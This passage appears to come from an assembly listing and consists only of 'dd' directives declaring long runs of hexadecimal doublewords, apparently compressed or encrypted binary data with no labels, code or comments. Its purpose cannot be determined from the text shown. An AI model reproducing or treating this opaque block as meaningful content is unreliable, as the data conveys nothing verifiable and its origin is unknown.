8E02E7A8h, 31C06DD7h, 0A00034F1h, 458F9E8h dd 1B34B2Ch, 0C75E8D21h, 6A8CABC8h, 9E42C00h, 0F1A7C9h dd 425F92F6h, 61661AEAh, 324ED4A0h, 350F9478h, 701807h dd 963A59Dh, 0D7E92C82h, 0E3190ED5h, 46C45640h, 867EABADh dd 5CB74500h, 7C18DEFBh, 3B4F00EEh, 7D211D73h, 0A67017E8h dd 2B366103h, 0C735EA67h, 0DD784C60h, 0AD2A0008h, 527BE5D5h dd 3816F851h, 3907BF22h, 5D562957h, 20A0010h, 6EE5D42Fh dd 0A0006CBBh, 0EBB0B183h, 914AF9h, 67ADE1D5h, 0E53A8A9h dd 994C0D98h, 69E700F5h, 1D8F77F6h, 0F7500F7h, 0BC9F4B47h dd 0B4004944h, 0DBAAB883h, 0EFFC22h, 379B6E72h, 79B3283Eh dd 0DDD80F07h, 0CBC77684h, 1CB2BCE0h, 0A6410044h, 1922F0F5h dd 5E029875h, 0D3AEF2D4h, 7CA0407Bh, 0B07E60CCh, 7460ACBFh dd 0B7BCE050h, 8DF370C7h, 5F61F4C0h, 1A3006CDh, 0D8593F3Ch dd 30C05Ch, 0B232DD03h, 0A945B0h, 0FE8605FAh, 0E0063674h dd 56EDDB07h, 0CB506FB8h, 9839ACBDh, 8A1500C6h, 0CFDA16BEh dd 0DDEA42F4h, 0B70ED10Eh, 8C59EB58h, 19510F8h, 3F762BF2h dd 0D0E18B13h, 0B05876Fh, 9A5BABB3h, 91EAB041h, 20E107F7h dd 3AF60DCh, 0A14CA867h, 0B8E8155Ch, 290F80BAh, 808CEB7Ah dd 6E1160E8h, 0E9A463D1h, 92F86C7Bh, 0D60F6AF5h, 3DE8467h dd 0B0724E04h, 3A06D36h, 773454D4h, 1058317Dh, 0E8000C5h dd 0C552C323h, 620EE91h, 953DE0BBh, 6C00F884h, 0D2620377h dd 0F4AC238h, 42D345BFh, 8E20B5E0h, 0D5005C16h, 13C065Fh dd 1E8A62h, 3EDE19F3h, 346B404Fh, 807D0D01h, 364C476h dd 1849DCh, 0FC041A9Ah, 0AD4FEA09h, 5603472h, 5B0AB410h dd 0E57F0065h, 0C794BA0h, 13E6CEC6h, 10ECD904h, 4E806811h dd 7D64707h, 3829B1D7h, 0A2FDE04Bh, 0C4008601h, 5B459998h dd 135738Ch, 0B5A0588Ah, 2AF87826h, 37F8E9E1h, 7E7921h dd 40D4543Ch, 0DE56971Dh, 6ADF01Dh, 0E00C8Eh, 951291E4h dd 0E3A9502Fh, 3AF878h, 0DE441BE3h, 1AE17B0h, 0D2CB1600h dd 7B5406Fh, 4A8600F3h, 0C213030Eh, 0D8C0FE8Ch, 0F823FC14h dd 7F62F45Fh, 87F0C0AEh, 0AB26EEC0h, 60ECB507h, 7CC00A96h dd 3D4437BEh, 8AAA0848h, 80DE012Ch, 0D8C212BFh, 0E82708D2h dd 62F90808h, 0E2410A52h, 9C00A316h, 0FF41F774h, 66104CD1h dd 4A89B871h, 104BA5FCh, 82D154C3h, 612878Bh, 59C240B6h dd 1A29BFEh, 9407BAA8h, 1F2C4BB1h, 22E25E12h, 4021E7AEh dd 776B0ADBh, 2CFA9584h, 0DD413A00h, 0A3E4ECB2h, 371F0F84h dd 4E6A1726h, 9479684h, 182071F4h, 6648C855h, 234EFD16h dd 11FE4401h, 0A6E4F9A0h, 3B3600BAh, 40B1A94Bh, 0D0C0E529h dd 83ACB8F2h, 61030F1h, 0C7779B48h, 0AE9E7C03h, 0AD0BA639h dd 3DE138C6h, 0E43A3A7Ah, 893F5C00h, 7B2A493Ch, 0DC1AEE0Ch dd 7E78F828h, 3B311C66h, 52740C2h, 0B0D88B47h, 1CBD740h dd 0ACABCCA7h, 6E1E43F0h, 19D5EB05h, 0CD55C44Ah, 3611B100h dd 0ED5061h, 0C26B09FDh, 0D8FF6022h, 4F0025B0h, 599CAB0Eh dd 7CC369h, 3CE8FDC4h, 64CB9040h, 0FA49h, 1EDD3A5Fh, 3F109Ch dd 15D47A35h, 0E4F1DC80h, 0BA4F304h, 0BE805C34h, 60EA9964h dd 59E170F2h dd 9400CBABh, 9E68C957h, 57A8984h, 7D22549Fh, 98800A8h dd 4BE4D3B7h, 36FE0403h, 9C3E9B9Eh, 0FF844980h, 10CB85Dh dd 7EBB865Eh, 0E8BCD8F0h, 0ED39E190h, 0F70E078Ah, 0C4805B24h dd 0CAE945h, 11F1C9E5h, 0DAF36092h, 8816A000h, 5B37B53Fh dd 7884F1C5h, 9050568Ch, 0F87FA750h, 482FD000h, 0A63F54Eh dd 6BBF0074h, 0B212F0F3h, 91011E5Ch, 2BCDFA44h, 232080EFh dd 0B6F8C6h, 2DE9F0CEh, 0FE09476Ah, 0E6003BEEh, 0D81C74CCh dd 30EB62A2h, 0DE309185h, 2F006008h, 8A5FAF6Ah, 39BD1E16h dd 13074F25h, 0F3D4D7C1h, 46E0575Dh, 20087CFh, 3032BE24h dd 806561h, 31DD6FE1h, 0EFDC5D13h, 243D401Eh, 0D1A9E81h dd 83F84FA5h, 2C8B0089h, 0BB138CD5h, 1507A0EDh, 4FC7ECA2h dd 74627CC0h, 12850026h, 389DD081h, 6500525Ch, 2227B58Eh dd 6040F71Bh, 19F2F8C0h, 461D5D31h, 0E3288B99h, 66A54900h dd 0C18D6A65h, 95F20042h, 74E4FBD4h, 1309E943h, 46A17Ah dd 0AD416B53h, 0C7E03854h, 3C36D882h, 497E8A2h, 2FF6AD00h dd 34327Ch, 0E5E02621h, 4CF51068h, 85B46538h, 587EBDAFh dd 39826C80h, 1C2E0033h, 5468EAF8h, 65004888h, 0F504933Eh dd 60D9A8h, 0DA22491Eh, 4A15CE5Fh, 25C19000h, 0D3EDB373h dd 336B85Dh, 0D89C68A1h, 1EA09B63h, 0B5000162h, 3D813C39h dd 0F0F4E6ACh, 0D3FC46h, 0E39B7C90h, 0C735ED6Eh, 0EA38FE00h dd 81469FD8h, 0F5CF00BFh, 0C2D44458h, 72008F84h, 919353C6h dd 2BA4CD7h, 13CF601Dh, 0BF600F9Dh, 9C00D058h, 0A2E0AB8Bh dd 1DB5713Bh, 0C07E0A5Ch, 0E8AD4BC3h, 9700DABAh, 0EF85C0ACh dd 848BA9h, 0E5A28DBBh, 0ADA1887Ch, 60D7571Dh, 98364440h dd 739AEA70h, 0A2B30395h, 2D8E7842h, 0B9B746D0h, 998FF903h dd 0CB1D0CF7h, 0DF26C060h, 234506D7h, 1087044Fh, 1CFA833Fh dd 30C03714h, 70D6F201h, 0CE740095h, 486D6238h, 0FB00F0F1h dd 0FE32E73Dh, 0E6C268DDh, 9EAE009Fh, 0B9B35382h, 0D07936FBh dd 0BEDE9400h, 0BFF9DD25h, 0EF9100FAh, 0F18743DCh, 497E4D0Ch dd 8E005477h, 9B21EA78h, 3367B8Bh, 903D446Ch, 50C8E370h dd 0EB03570Eh, 1373D9A3h, 0A0F0D34Ah, 38C7698Fh, 9480E87Dh dd 508EBE7Bh, 313B435Fh, 1D382D5h, 0C18176C2h, 0DEECB3B2h dd 0F13F0271h, 0D3470B49h, 0F4D91540h, 4BD0DB02h, 0E005B00Ch dd 0B499A4h, 0AA7C5280h, 0D1097F68h, 0E7D9260Eh, 0C0DC6F12h dd 1360BB91h, 2BC13045h, 0A043E8F0h, 2A90DA00h, 318AE4D0h dd 7C71004Bh, 80A75DCFh, 4D001FA6h, 0CA01EC2Dh, 30742CDh dd 63143184h, 46D07951h, 200732Bh, 53776DC7h, 0F0137230h dd 0E77B65h, 0FAA5E6B5h, 0C3BEEC90h, 7CD8AC00h, 4482B06Ah dd 46B40019h, 0BB304255h, 6090F6DDh, 5DC0C100h, 8C51082Fh dd 0C7481878h, 238EB067h, 28C8D000h, 0CD37F212h, 523400A8h dd 4EE5B28Fh, 0EC0057F3h, 340C5C3h, 5D7260h, 73631BFh dd 9A884628h, 0F04D1900h, 6E40D0E3h, 115F6012h, 0F3DED32Ch dd 1D00D674h, 6B441CE2h, 0A71333h, 0C4EB739Eh, 0CA4BD4FEh dd 0CE163D04h, 0E280A120h, 26DBB7h, 2A51A88Ch, 1561F88Eh dd 131CD700h, 0D125E9B6h, 0AE6400B3h, 9EFFE74Bh, 36005E8Eh dd 0A9AD4370h, 0ED03947h, 41D8B76Fh, 20CC38D8h, 72C9EE0Fh dd 91738016h, 9AA727h, 0CFE536AEh, 0BBEC2915h, 2FFD5A00h dd 0FB6B7F9Fh, 0E8A100F8h, 35713F2Bh, 9A007D78h, 8E8133B0h dd 0B5845h, 0ED11C824h, 64EE31E8h, 0D45B0201h, 1466CCE1h dd 8E4FE4h, 0B86BA3FBh, 47010BBAh, 0EF2DC00h, 0F8AD7F70h dd 89183AA7h, 921EB880h, 2472EA3Bh, 0F7ED3A01h, 58E5541Ch dd 0AE113ECh, 8CABC030h, 0DB050088h, 47C61290h, 7FB8BA00h dd 0B689F717h, 4A430010h, 110A7973h, 0E7026A4Ch, 64AEC349h dd 0ECCC4898h, 8FC00E35h, 60A01968h, 0A6D0C4F6h, 390B6400h dd 0D3AFCB96h, 0AD0C0050h, 0BAE15865h, 0D0019327h, 0AC9D43BEh dd 9460F31Dh, 3B94FE0Ah, 0CC483E87h, 0CC179E00h, 45AB7C1Ch dd 0CDE1470Eh, 770032FAh, 701D64D5h, 0B46B3E68h, 573E5E00h dd 0C07DB993h, 2706CB00h, 0F539DC87h, 3DF7475h, 61EDA5EFh dd 0E6B3E802h, 46606788h, 404E28CFh, 0EA44C747h, 3CF80039h dd 5BC1EF42h, 7C00FE2Ah, 20F55795h, 0CA96B73h, 42B6CFA8h dd 5A008E82h, 0CA56B4AEh, 13C8150h, 0C6B2A6F4h, 0E862DDD1h dd 0BF0F7A15h, 9DA3CCF5h, 76B32100h, 0A9943Ah, 1203CBCAh dd 4A963C1Dh, 6F6C6200h, 9C6BF856h, 937803A5h, 0B7CE9A9Dh dd 312FD1D8h, 5CAD4000h, 821913EFh, 0DCECE3h, 0F003ECC0h dd 0C3626DE5h, 0B6B35200h, 64490E78h, 0ECFD2E15h, 7F1F13h dd 52E04BCDh, 0F700CC02h, 0DDB62438h, 5CAFC57Eh, 0A8003958h dd 9130E606h, 88002A4Bh, 7EC0EAEEh, 7129C42h, 0ACF1D4F9h dd 8E3EF044h, 7703FCD9h, 97A7521Fh, 3DC1802Bh, 0CC1000ABh dd 0B7C42DC0h, 0AE097E5Ch, 5600B13h, 0AE00FD74h, 0FBBD0D2Eh dd 9207079Bh, 0E0D63EC8h, 0B0DB1312h, 0DA033BE4h, 1F0BDD6Eh dd 5BD7A886h, 21A70002h, 0C0AED941h, 2F001604h, 0D3263B93h dd 3878A6FAh, 3000B51Bh, 0CA968209h, 0F55CF7FCh, 0EEF00010h dd 9D2A1CCBh, 51ED0377h, 5868AFA9h, 483A8DF0h, 0BF289101h dd 5366176Ah, 0C90DCh, 4D75F022h, 0F5D9AE8Ch, 0A3888600h dd 0F3AC8BFh, 0A1FA007Ah, 982640D5h, 570AB5FFh, 0D42E91DAh dd 462D0B00h, 38243Fh, 39F5F1F0h, 1C2C2F34h, 0FD064179h dd 282378C2h, 0D8D50131h, 556DDC09h, 5C67607Ah, 0E9EBA702h dd 0E07F14A8h, 92629CCh, 9A2C6F59h, 80C1C007h, 8DDA3928h dd 1276D400h, 157A542Fh, 0A4C9010Bh, 0BF9FFA41h, 59907020h dd 0F98D55Dh, 60C9014Dh, 3A61E1Fh, 44415056h, 0A33E2635h dd 0C7FB1C58h, 604B70CAh, 0D2A52A57h, 0EFBC2401h, 0A876251Ch dd 75F8A4F5h, 0C26D077Eh, 0C0847CDEh, 42C9390Fh, 0B105A500h dd 8071A0E3h, 70342495h, 53F6006Eh, 327AD46Eh, 9263DC1Fh dd 7FA4CBh, 0E3690218h, 0B02C7364h, 4C5F00F5h, 97C6F843h dd 880EF689h, 608CE7DAh, 0D983A3BDh, 5DF33810h, 0D0339500h dd 6253EF49h, 388DFB00h, 9DCF8B5Fh, 34600BFDh, 88803F7Dh dd 2961BFEAh, 7E35E4Ch, 8A1541B3h, 64772F80h, 6AF0005h dd 27A907BCh, 0C043EF2h, 0EFC865F5h, 0CD7BE4C0h, 4AE00FF9h dd 7C80980Bh, 7EA23C32h, 0B8731C0Ah, 0AD0EF067h, 2926C008h dd 1E0D80D2h, 0BA35CE0Bh, 20CD5618h, 5D007042h, 0B157A7E4h dd 2889D697h, 74EC9F12h, 588D003Ch, 39C3E8DCh, 0BF00AE09h dd 6EAACC6Ch, 3D0BA14h, 0F2B1B878h, 0FE083ADh, 3318FA80h dd 6E28C804h, 1C583FBCh, 0E1723480h, 851A0FCAh, 6D5BB51Dh dd 491BDF01h, 0C4E0BF8Eh, 111E1363h, 59A08156h, 2E18E051h dd 0EF7E7A79h, 32968301h, 8CBED441h, 3772AE4h, 1DBBD1B9h dd 38C93FF9h, 20C6D819h, 35520F2Ch, 89482D00h, 1EF3810Eh dd 3C57BCBEh, 1284FF80h, 0E3E16D55h, 7DE93400h, 8EE613F1h dd 7192480Dh, 4382A0Eh, 76810380h, 1500A787h, 0F0F679C2h dd 3F5C79Ah, 3C7DE14Fh, 38C009EFh, 53006C61h, 6072640Eh dd 75E40Fh, 0E17C185Eh, 0A9D6B711h, 12820201h, 0D9B42F3Fh dd 7711C07Eh, 8B001B89h, 0C2BFABFAh, 0CB0F5Ah, 0B687BCFEh dd 0A27E4C9Eh, 49960301h, 0D9BF57C9h, 17F2BE80h, 0CF7AEBB2h dd 6CAE0A0h, 0D5F4E200h dd 0B1B7100Fh, 5BC90340h, 2312F960h, 948866D3h, 9700C056h dd 0B8FDFA90h, 1DE468B4h, 4033D414h, 0CE293088h, 0AE00503Ah dd 3C66B3E7h, 4F49BAh, 7DDDC0ACh, 78E2261Fh, 0C90480FFh dd 4C8AA833h, 9B2C128Fh, 0CB8103F8h, 60F8B8F0h, 863036AAh dd 1CBF9017h, 20F0E9A2h, 27D900CEh, 12D6A384h, 0E278F1DAh dd 5ABC3516h, 257A03FEh, 380175CAh, 48660FE7h, 6EA268h dd 0B2790D6Ah, 9001FBFh, 0E7C5931Bh, 3A832270h, 57000F34h dd 0DA0C7A1Ch, 0CF00DCDFh, 0D4B43DD1h, 3C8E6149h, 121FD796h dd 740429D3h, 0AB6FD416h, 72030500h, 0F8E3867Fh, 0FBCE81Eh dd 60FB659Ch, 5B4324C0h, 411E9EFDh, 0FF8FA2D1h, 0C510802Eh dd 0A42C5Ah, 34E5E41Dh, 3DE7D98Ah, 6B941B00h, 0A38E7212h dd 1DEE0025h, 0E56C895Ah, 0B2004807h, 8C994A09h, 966A2F2h dd 0F4C2A990h, 22C3817Dh, 0C9D4FC6Dh, 48BA07E9h, 17892A60h dd 0B7088150h, 0CA9C847h, 9A98317Fh, 2F3EF100h, 725C530h dd 0DD1D1DFBh, 4EAA1FACh, 0ECC086A7h, 266F559h, 0A535E400h dd 0EFD7E249h, 4075E8h, 75508125h, 0B5B9D0FCh, 1782F800h dd 0F435076Ch, 0E83207D3h, 30D990BFh, 0D8FA81DCh, 948DC601h dd 33B16997h, 0FE539620h, 98B66032h, 0EBFA2576h, 38D7F31Ch dd 702924C4h, 0E2A964C0h, 0B4900193h, 0FDDC52DEh, 985EDCE1h dd 69006278h, 0EAD6EBDAh, 1DF06E4Ch, 4024038Dh, 31DDC887h dd 1500FA6Bh, 0A118A82Dh, 5FB04h, 96D31393h, 0CE781CB9h dd 0E900EC72h, 0E8DA55F5h, 1F1ECBh, 0B206431Bh, 0E3048B8Dh dd 0C7622307h, 85308C8Fh, 0B72C387h, 60867095h, 9C89B200h dd 1E01E9B6h, 0B20346E4h, 19C831B8h, 356F0280h, 10CE4B5Ch dd 37252440h, 880040F8h, 9163C906h, 1653AE2Ch, 0F06DB7DEh dd 6A046B78h, 0F0076225h, 95FA3C80h, 0C45D00D0h, 3BBF5E7h dd 44399FBCh, 37C700C8h, 0C0CE49A1h, 2D903Ch, 529C76FFh dd 4F2B9A30h, 0CA8C7B00h, 0C9C8F10Dh, 60260008h, 0A93645B3h dd 400A2D9h, 812138E8h, 166F34Fh, 33E4B29Eh, 9F4D03BFh dd 54076B80h, 0B690FBDDh, 0ABAA3Fh, 6047F12Fh, 5C3EA110h dd 0C7165E09h, 4876015Bh, 0C6F75017h, 9756006Ch, 992CFCEAh dd 0C477E3CEh, 0E5001E75h, 0CF75A576h, 0EE0346Fh, 6403C3ADh dd 87090E20h, 8C90049Ah, 0A120D260h, 5007997Eh, 393B825h dd 85B7D18h, 6E86828h, 0C4180A35h, 0EC78538Eh, 21F800DBh dd 0EA39F6D3h, 9400CC1Ch, 34E7C23Ah, 8F7FDEh, 8017F0D0h dd 4568F630h, 0B6DC7909h, 0D1F003E7h, 80EAB294h, 0C5BF7ABCh dd 0C62B0141h, 0A7632569h, 8BE3FC8Dh, 7CB48700h, 96E7EDD3h dd 4C7A23h, 6F7F5B0h, 7DE28CE6h, 0EB0011E2h, 42911A40h dd 15A6D53h, 2320DE7Ch, 0EAD91573h, 1CB88Fh, 413A585h dd 7903D362h, 74953D2Bh, 4F568877h, 0D2025C01h, 54A4CE00h dd 4C5F117h, 6AA5900Bh, 87738063h, 69615Eh, 2817B20Fh dd 72948B70h, 0A593DB00h, 44C37B6Bh, 0D5C400E0h, 31953038h dd 8E00BCEAh, 0CB799EF8h, 0F6C0EDC3h, 2AD100ACh, 0B892A60Eh dd 46003D3Ch, 409AF571h, 5A65E3h, 67CE934Ch, 1086880Eh dd 0BF710600h, 0C93EBCDDh, 42F5003Fh, 39AB805Ch, 0BBFC4F1Eh dd 7069500h, 5192EBE7h, 32270708h, 0A14D1430h, 0C47B7EB5h dd 0D006C8Bh, 0C4C1E13Bh, 13FE6Fh, 0BCADDDEFh, 64668611h dd 3E87063Fh, 0D89E8010h, 0ED5C5AC1h, 8E600EDAh, 0A48719B6h dd 0FED9E0F0h, 1F00535Fh, 850A8BFBh, 0D68DEEh, 56E12843h dd 48D05E9Ch, 0CD923900h, 0F49B4615h, 5E61324h, 0DB421407h dd 56717400h, 85BE8491h, 8E00AF78h, 0EB14A1E6h, 39DC83C2h dd 0B980570Fh, 214FB16Fh, 410095DFh, 0CFCB9971h, 0E8318E6Dh dd 0F6860562h, 0C004B82Fh, 19DAC3A7h, 6658F700h, 8E4E9ED1h dd 0B5E006h, 0C553392Bh, 84D372E8h, 8E7C58h, 0BEF4CD88h dd 0AA3CA7h, 98E6C3Fh, 4684AFE6h, 0F7995307h, 0E0973E40h dd 4EDC2061h, 0E1D5E020h, 78309AF5h, 77B1004Bh, 50BE3CDFh dd 0BB605987h, 8654E510h, 0FA043CD2h, 7AF85A8Bh, 3AE0B401h dd 43A8E859h, 9DAB473Dh, 4540087Bh, 2433645Fh, 86780EA7h dd 70A0C214h, 0C5E1B76Ch, 2B5D4600h, 42497B9Fh, 0F18C006Fh dd 2F7C6DF9h, 34077586h, 0A3B05AB1h, 4F4E5D20h, 98E901C8h dd 0F40114C0h, 11D43092h, 78ECCC00h, 0CF2F6F59h, 9FC200C4h dd 503C77EAh, 28004B7Ah, 1AD36320h, 193440h, 0D21F8002h dd 0A69A16Ch, 0AFEC5307h, 3E30F135h, 4E662Bh, 9DE878E1h dd 0D7466D3Ah, 911FF5F8h, 0E780DD6Eh, 0DFEC22DBh, 67B70079h dd 13CFB454h, 8120976h, 1B00121Bh, 0F7D75EC7h, 5C7F1F7Eh dd 8E5903ECh, 1AE0BDA9h, 0F60033FFh, 0A83416EBh, 1527638h dd 42ACFEEEh, 0D896A62Ah, 0DE0084A9h, 29F2CF5Eh, 3C38B80Eh dd 7C8004D8h, 7F75A3F9h, 0BB170BCCh, 2300A53Dh, 0CB5FE3B0h dd 7CD84848h, 7BC44A00h, 1C4BC921h, 0D23CAB07h, 0DDD0460Dh dd 25A142h, 52BE0B49h, 18069C5Eh, 94328400h, 0EBD6E614h dd 38360015h, 29D7F98Bh, 300F3FFAh, 0E3ED1F0Eh, 0B0EBC0C3h dd 5CAB72h, 0E59F61DBh, 0BB7A4D65h, 369ECE00h, 6849450Bh dd 3F1A003Bh, 0B68106ABh, 0B37F2D40h, 0E8CDF400h, 5C90E965h dd 0E6870020h, 0D2ADF79Eh, 0C90E08DCh, 80674F73h, 0B582BE89h dd 9EF303BAh, 4C2D0271h, 0E97AF9C8h, 1A233Fh, 3B76C2B2h dd 372644Fh, 9E019291h, 88002AA6h, 83300596h, 78FCCC49h dd 0DD7D0508h, 82B548F5h, 62405C25h, 0A400E256h, 0F9582CD2h dd 13314Bh, 0C2DE5749h, 0AAE81EDFh, 600D3Fh, 78BBEFBDh dd 0F3F95D2h, 0A8150172h, 52AB660h, 0F3A6E73h, 0E94580A7h dd 9250794Eh, 7541BF7Ch, 18C4038h, 0F874C2B9h, 0D0035677h dd 0AB10E3A0h, 2FF4F8D2h, 90A6015Bh, 37353699h, 9508C4ECh dd 73725906h, 587F17h, 0A1E1D601h, 1098450Ah, 5C437C05h dd 0E9C0769Ch, 0A0D9C318h, 0A07BC610h, 2B6071Ch, 0D53D3ABDh dd 1960DF5Ch, 650390A1h, 8C979E6Bh, 44E9A818h, 0F587C61h dd 5DF56D62h, 4950BAA3h, 0C89C37A0h, 0F4566301h, 0E6591336h dd 0C9F560h, 2DF07311h, 0FF14251Fh, 97532803h, 0F84B21BCh dd 1F39423Eh, 0C05A7FE6h, 2A8B6881h, 0A2001001h, 710FD122h dd 2C1E69Ch, 0D23196E5h, 0B263FD3Dh, 0D71BDAF0h, 2DA35501h dd 4CA8B142h, 708607DCh, 4EEA05B5h, 0C0812E7Fh, 0DC164561h dd 0B1E72000h, 0E4857C7h, 0B07F1453h, 8840BEC8h, 438A3FB4h dd 99CF4B0Ah, 0DEB580CCh, 414725ABh, 6631BD1Eh, 751F80F0h dd 0C2711CA9h, 0E7F2C080h, 426E0BD0h, 22001E76h, 531BCBF3h dd 41DD99Ah, 66B66793h, 685080EEh, 34005A07h, 0CC730D2Ch dd 7D6C7DCh, 1F594252h, 80D5F0F8h, 6016B35h, 7F1CBC5Ah dd 80CA0BB4h, 0CD3661DCh, 0EE550018h, 0D7E9BE42h, 5E790C96h dd 0A9C9F3Ch, 800E7011h, 46651900h, 3BFB08C7h, 6000220Dh dd 0F4A8E967h, 6E00BE6Bh, 48F78BC3h, 0DF7C975Fh, 6C52C060h dd 7F3CC866h, 2B8A2002h, 0E0F12C60h, 0EE40FE0Dh, 2E745CCCh dd 0D753007Ch, 4DE9DD7Ch, 0CF009A16h, 21E6FB58h, 0F48542Ah dd 7E39C6Ah, 44497D60h, 9207B5B8h, 576286C2h, 81322600h dd 0A1140043h, 508390E6h, 0FD0F68D6h, 40855478h, 383CFACBh dd 300A605Ch, 4B10BBF9h, 98D2791Ch, 0DEE73FC0h, 38049F02h dd 3880713Ch, 256AE3E5h dd 7E0F4F65h, 0A761A5D6h, 0B2C0DF14h, 0E96067h, 3E27D0F7h dd 6BB8C2D4h, 14004F7Fh, 0E50E0DFDh, 0A0EF30h, 0DDF9E31Bh dd 0C8BBE83Dh, 5E24980Ah, 3203FA6Ah, 0C067D912h, 0F02386F1h dd 0F8700EAh, 0AFBE7238h, 8EE653E5h, 0E204ED00h, 0F5A8BC83h dd 9E020078h, 1FF891FFh, 0C60026D9h, 0E60C16DEh, 58A89Fh dd 5585A4B3h, 2575E17Fh, 72D7EB01h, 4CE7ED98h, 0A8519E30h dd 0FDEA9Ch, 0F9BA168Fh, 0D9147950h, 0CE48EE0Fh, 32F7609Ah dd 396FD7h, 3D778F66h, 6C8928DFh, 4C922A00h, 0E4E1F91h dd 766D0041h, 0A5A67403h, 973A9005h, 65DF8031h, 356AFECDh dd 55274C13h, 4A51E900h, 1BD1ED36h, 24E46000h, 0F257C47Eh dd 96E459h, 0B7C6A1DFh, 0B65F88C0h, 200FBB00h, 241961EEh dd 77810279h, 0A5E9B7C5h, 140EE40h, 0C120DA52h, 1481C8F8h dd 4B3EAC08h, 3B515CBAh, 44B8009Bh, 0B95EDF04h, 0CE2B039Fh dd 1EA0491Ch, 18AEC983h, 4C70C000h, 200E6DCDh, 0AD1600E1h dd 0D5A25BF3h, 0FF001F1Eh, 0FE3F9463h, 12D570Ch, 7D512FA0h dd 0D436DE29h, 2A30B1F2h, 814EA05Ch, 3AFD1E21h, 6A3880B8h dd 972ECA63h, 0F63E6706h, 2856BBh, 0A5F71558h, 13CC1770h dd 0FD22B701h, 0A6725B6Ah, 77527880h, 163B6B02h, 1874A58h dd 0B92BFA08h, 0BEC1284Ch, 9AFEB880h, 0E1274A53h, 6DFCB100h dd 806E7745h, 98D3053Eh, 30FD3299h, 0D22ABF80h, 601F9723h dd 8B941DACh, 2AC3F300h, 3812DAE6h, 6FF2074Bh, 60EC8E22h dd 88059436h, 0D2BEDE1Dh, 0AA274D00h, 0E50F31Bh, 0CDE82977h dd 891EE220h, 6C00A0FBh, 0D57FE1Ah, 546102Eh, 0C0D65C59h dd 0F44C3C2h, 24401392h, 0A70F62DAh, 0F4ED9569h, 701A020h dd 751F8647h, 0F0005BB0h, 704EF826h, 63E63AA9h, 14043601h dd 0C790F252h, 0DA5D61E1h, 0ADE7BB60h, 0F781D8A0h, 0AAF62726h dd 0E677E03h, 38749816h, 9B513F30h, 4AA48A8Fh, 39657DA0h dd 300626Bh, 5BB859F8h, 842B43h, 75AC8AD6h, 0BB3E8608h dd 830EA500h, 7A775F5Dh, 0B5200DAh, 0CC4FFBF0h, 177731ADh dd 26A66803h, 88D7B508h, 7CE6F387h, 7F653069h, 39C79891h dd 0A25B51Eh, 8006A12h, 890FEF66h, 93B0082h, 9DAE9A3Ah dd 34000E06h, 5E4513E3h, 84C154h, 0FBF9FC4Dh, 37A8EB59h dd 6D841C50h, 8FFEB700h, 0DE8A2921h, 2F4F44Dh, 9954FA65h dd 5460BC9Dh, 20003FBAh, 0F871C42Dh, 79DE43CCh, 8730363h dd 83B5388Dh, 4647CBC8h, 2176B000h, 516EA625h, 0A8AB6116h dd 2023EA4Dh, 8B00B58Ch, 0A7C5CDC8h, 0ED7482h, 7514936Fh dd 0B34DF62Dh, 0AE716900h, 0E47B8619h, 906248A2h, 0BCA02E00h dd 0E0F9D010h, 97CCA81Fh, 23C3CF00h, 0EBD04D2h, 0DA036B46h dd 19E63D80h, 0E230EFADh, 40472042h, 2DFE9Bh, 0E826DF54h dd 0A39DD08h, 0B1747D00h, 0B04895C0h, 3034660Dh, 0F8978A22h dd 0C6C50089h, 79830C8Ch, 0A8F85438h, 6CBF5F05h, 0FCC18AF0h dd 91D0E005h, 6170746h, 7D18Fh, 681AE9E2h, 78D23603h, 0F3D40B2Dh dd 0B69DC8DBh, 77C0DAAh, 0D470BE6Ch, 9876FA32h, 0FFFCB7FEh dd 65C64000h, 8E7A1F73h, 1D9CF449h, 3CE96A9Ah, 5116D10Eh dd 56682260h, 8A003CA1h, 6458CB71h, 3BEE4C0Bh, 0B700A27Bh dd 0E3836A29h, 550BCDE6h, 48E811h, 36D31D52h, 0A8A0CF2Bh dd 0BA79E9E0h, 0E758A734h, 3F00731Ch, 8E3117BFh, 30F2D2EAh dd 9D70D44Fh, 38DD19F5h, 0B38FBC05h, 61CB90Fh, 181873F1h dd 0D8BFC5CAh, 0CF0BAB37h, 809420D7h, 355ED55Ch, 282160EAh dd 3796B9E9h, 4E22CF00h, 305644AAh, 8DDD0390h, 0EF90921h dd 726A66A0h, 71CFEB03h, 80B44523h, 594D1Fh, 0EE7CC674h dd 0C99CC78Eh, 651EF900h, 51D9E969h, 84550006h, 0D78D863Fh dd 0D006B4Eh, 0DAEA7BB2h, 3D32B9A4h, 9B001D5Ch, 451BCEBh dd 7100C6E3h, 74CD030Eh, 3B16564h, 0A4DDCFDBh, 30080BD9h dd 0C0E588EDh, 77F206EAh, 79024C46h, 4E0872F9h, 0F3A52C90h dd 99076F46h, 97D9A372h, 0D5DA47E3h, 601C36FDh, 529F3204h dd 3920C498h, 0BC0EB80Eh, 8ABA2AF1h, 0ED506411h, 7C38A6EFh dd 1D520C59h, 0D1387FCDh, 10680257h, 0B68169A2h, 59F9A4D9h dd 0D160BC7Ch, 19140894h, 1E868A00h, 0A825F8ADh, 12FD397Bh dd 0C29CFB29h, 34986DE2h, 5F2982B9h, 706C84D8h, 72A0476Dh dd 8A391D3Ah, 9C730631h, 0A66C4250h, 0F5790730h, 0F42D1E0Bh dd 23FD2873h, 991F6F15h, 11D86601h, 9841B968h, 0B4D2DEF2h dd 0A442E0D4h, 3D390220h, 3E71D860h, 0CA51B881h, 2C04254h dd 2511A896h, 59837A16h, 0D1A83A42h, 91F231E0h, 8A48336Eh dd 0FB01B0FAh, 0AD1D56B6h, 9208484Ah, 91804C7Ah, 0C2F850E1h dd 31D8296Bh, 0CC7CCA80h, 1D201831h, 0CC835066h, 0D08C54F1h dd 1F21005Eh, 1E2327EDh, 18C7FF6Dh, 90EA59D1h, 7894F814h dd 0A820620Dh, 981E703Bh, 0E8B87162h, 0D5CDD081h, 9BE42038h dd 1B11A0A0h, 8D205C90h, 0DF6DF845h, 7D8ED258h, 0D859807Ch dd 0CED74285h, 0FDA8DEFAh, 0A6DC062h, 0A0B0A047h, 8C4C6C2Ah dd 44FA7803h, 14BC4EA6h, 0E4BF5148h, 0D33B95B0h, 1CA0677Ch dd 23038C98h, 518E375h, 0B88DD26Fh, 9267B238h, 383880F4h dd 0D932240Eh, 0F6CB58D4h, 0C7BF918h, 120F6211h, 0FC28E30h dd 83E019F4h, 8BA3BBFDh, 263CC890h, 0C0C452D5h, 2EE94250h dd 86170012h, 1B9E8CB9h, 0D100FE7Ah, 0CFFB71C1h, 14391BBh dd 0F8317440h, 0D0F9D9C7h, 47BF601h, 0BA0314A6h, 0E0069F85h dd 0AC99D003h, 84F62BB9h, 